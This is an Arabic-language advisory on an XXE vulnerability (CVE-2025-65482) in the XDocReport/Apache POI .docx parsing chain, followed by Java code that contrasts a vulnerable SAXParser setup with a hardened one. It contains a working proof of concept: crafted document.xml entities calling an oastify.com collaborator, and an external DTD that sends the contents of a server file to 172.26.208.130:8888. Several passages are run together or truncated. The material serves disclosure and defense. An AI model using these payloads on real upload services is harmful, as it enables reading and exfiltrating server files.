
CVE-2025-65482 (XXE)
حقن كيان خارجي XML
نظرة عامة على الثغرة
تأثير الأعمال
يسمح موقع إدارة الموارد البشرية للمستخدمين بتحميل ملفات وثائق .docx إلى النظام. أثناء المعالجة، يستخدم التطبيق المكتبة fr.opensagres.xdocreport.document.docx التي تحتوي على ثغرة XXE عند معالجة ملف .docx للمستخدم عبر SAXParser.
fr.opensagres.xdocreport.template.docx — XDocReport (الإصدارات =< 2.0.3)
السبب هو استخدام Apache POI
fr.opensagres.xdocreport.document.docx
└── fr.opensagres.xdocreport.document
└── fr.opensagres.xdocreport.template
└── fr.opensagres.xdocreport.converter
└── org.apache.poi.xwpf.converter.core
├── org.apache.poi:poi
└── org.apache.poi:poi-ooxml
أي أن Apache POI موجود في عمق كبير، في الوحدة:
org.apache.poi.xwpf.converter.core
يحدث الخطأ لأن XDocReport (في الوحدة fr.opensagres.xdocreport.document.docx) يستخدم Apache POI لقراءة ملفات .docx، و POI يستخدم SAXParser الافتراضي لجافا دون تعطيل الميزات التي تسمح بمعالجة DTD والكيانات الخارجية. → وهذا يسمح للمهاجم بإدراج DOCTYPE يحتوي على كيان يشير إلى الخارج (SYSTEM "http://...") أو إلى ملف داخلي (file:///...) → مما يؤدي إلى XXE.
XDocReport → fr.opensagres.xdocreport.document.docx → Apache POI (org.apache.poi.xwpf.converter.core) → SAXParser (javax.xml.parsers.SAXParser)
unzip ../vcspentest.docx
nano word/document.xml
قم بتحريره بحمولة outband تمر عبر collabrator كما يلي:
<!DOCTYPE x [ <!ENTITY xxe SYSTEM "http://qrlbu64xvd8jr1y8zwcgoiwnler5fx3m.oastify.com/"> ]>
<x>&xxe;</x>
zip -r ../poc.docx *
172.26.208.130. بمحتوى ملف vcspentest.dtd كما يلي:<!ENTITY % file SYSTEM "file:///d:/vcspentest.txt">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://172.26.208.130:8888/?x=%file;'>">
%eval;
%exfil;
قم بتحرير ملف word/document.xml داخل ملف .docx بالمحتوى التالي لتحميل dtd خارجي من جهاز wsl:
<!DOCTYPE users [<!ENTITY % xxe SYSTEM "http://172.26.208.130:8888/vcspentest.dtd"> %xxe;]>
.docx ورفعه إلى الخادم للمعالجةD:/vcspentest.txt على الخادم المستهدففي الكود أو في طبقة تهيئة محلل XML، يجب تعطيل جميع الميزات المتعلقة بـ DTD والكيانات الخارجية.
إصلاح مشابه لهذا الكود
@RequestMapping(value = "/SAXParser/vuln", method = RequestMethod.POST)
public String SAXParserVuln(HttpServletRequest request) {
try {
String body = WebUtils.getRequestBody(request);
logger.info(body);
SAXParserFactory spf = SAXParserFactory.newInstance();
SAXParser parser = spf.newSAXParser();
parser.parse(new InputSource(new StringReader(body)), new DefaultHandler()); // parse xml
return "SAXParser xxe vuln code";
} catch (Exception e) {
logger.error(e.toString());
return EXCEPT;
}
}
@RequestMapping(value = "/SAXParser/sec", method = RequestMethod.POST)
public String SAXParserSec(HttpServletRequest request) {
try {
String body = WebUtils.getRequestBody(request);
logger.info(body);
SAXParserFactory spf = SAXParserFactory.newInstance();
spf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
spf.setFeature("http://xml.org/sax/features/external-general-entities", false);
spf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
SAXParser parser = spf.newSAXParser();
parser.parse(new InputSource(new StringReader(body)), new DefaultHandler()); // parse xml
} catch (Exception e) {
logger.error(e.toString());
return EXCEPT;
}
return "SAXParser xxe security code";
}
package org.example;